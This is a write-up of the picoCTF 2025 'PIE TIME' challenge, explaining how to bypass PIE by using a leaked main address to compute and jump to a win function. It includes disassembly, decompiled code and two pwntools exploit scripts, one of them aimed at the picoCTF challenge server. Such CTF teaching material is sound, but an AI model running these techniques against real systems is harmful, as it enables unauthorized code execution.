picoCTF 2025: PIE TIME Writeup

  • Date: April 05, 2025
  • Reading Time: 6 min
  • Difficulty: Easy
  • Tags:
    • binary-exploitation
    • pwntools
    • reverse-engineering

1. Overview

PIE TIME is an “Easy” rated binary exploitation challenge from picoCTF 2025, designed to test your ability to bypass the Position Independent Executable (PIE) binary protection. Our objective? To explore this vulnerable ELF executable, and jump to somewhere we aren’t supposed to be…

2. Recon

2.1. Protection check

The first order of business was to confirm that the PIE protection was going to be my primary hurdle:

checksec --file=vuln --format=json --extended | jq .

{
  "vuln": {
    "relro": "full",
    "canary": "yes",
    "nx": "yes",
    "pie": "yes",

...

Other protections like stack canary and NX were also enabled, but this challenge didn’t involve stack exploits, so I focused on PIE.

2.2. Running the program

Then, with these protections in mind, it was time to see what we were dealing with. When we run the program:

./vuln

Address of main: 0x619ecb4dc33d
Enter the address to jump to, ex => 0x12345: 0x12345
Your input: 12345
Segfault Occurred, incorrect address.

The program firstly leaks leaks the current address of main, then offers the user to enter an address that will jump to.

Giving the program an address that does not exist like 0x12345 causes the program to crash. This confirms that he program is actually attempting to access the address the user inputs.

2.3. Function analysis

To find this function, I used the objdump GNU utility , to disassemble the executable file into intel x86-64 assembly with some nice formatting like colours and line numbers.

objdump -M intel,x86-64 -d ./vuln --disassembler-color=extended -l

In the disassembled code, we find a main at offset 0x133d and a win function at 0x12a7:

000000000000133d <main>:
main():
    133d:	f3 0f 1e fa          	endbr64

00000000000012a7 <win>:
win():
    12a7:	f3 0f 1e fa          	endbr64

...

Taking a look at the “win” function in Ghidra, it tries to open a flag.txt file in the same directory, reads it and then loops through the characters outputting them to the screen.

void win(void)

{
  int iVar1;
  FILE *__stream;
  char local_11;
  
  puts("You won!");
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Cannot open file.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  iVar1 = fgetc(__stream);
  local_11 = (char)iVar1;
  while (local_11 != -1) {
    putchar((int)local_11);
    iVar1 = fgetc(__stream);
    local_11 = (char)iVar1;
  }
  putchar(10);
  fclose(__stream);
  return;
}

3. Manual Exploitation

To jump to the win function, we need to subtract the win offset from the main offset to find an offset to use from the main base address provided by the program. Then subtract that new offset from the base address to find the new address of the win function

Put address that into the program as input to jump to the win function and get a flag!

4. Automating Exploitation

4.1. Local Exploit

That was a lot of work for something that we could very easily automate with python and the pwntools library:

#!/usr/bin/python3

from pwn import *

context.log_level = 'ERROR'

context.binary = elf = ELF("./vuln", checksec=False)  
p = process()  

offset = elf.symbols['main'] - elf.symbols['win']  

line = p.recvline().decode().strip()  
leaked_main = int(line.split("Address of main: ")[1], 16)  

addr_win_pie = leaked_main - offset  

p.sendline(hex(addr_win_pie).encode()) 

print(p.recvall().decode())  

4.2. Remote Exploit

This is essentially the same as the local exploit, except this time we can’t find the symbols through the netcat session to calculate the offset, since we cannot access the binary directly. Luckily, it uses the same one as the local file (0x96 in hex, or 150 in decimal), so I’ve just hard-coded it into the offset variable instead.

If we didn’t get the offset from a lucky guess, it could also be brute-forced.

#!/usr/bin/python3

from pwn import *

context.log_level = 'ERROR'

server = remote("rescued-float.picoctf.net", 54964)
offset = 150

line = server.recvline().decode().strip()
leaked_main = int(line.split("Address of main: ")[1], 16)

addr_win_pie = leaked_main - offset

server.sendline(hex(addr_win_pie).encode())

print(server.recvall().decode())

5. Conclusion

This was my first CTF challenge in a very long time, and honestly the first binary exploitation challenge that I actually saw through to the end. It was an easy challenge, but it was a great first step in my hopefully long and exciting binary exploitation journey.

6. References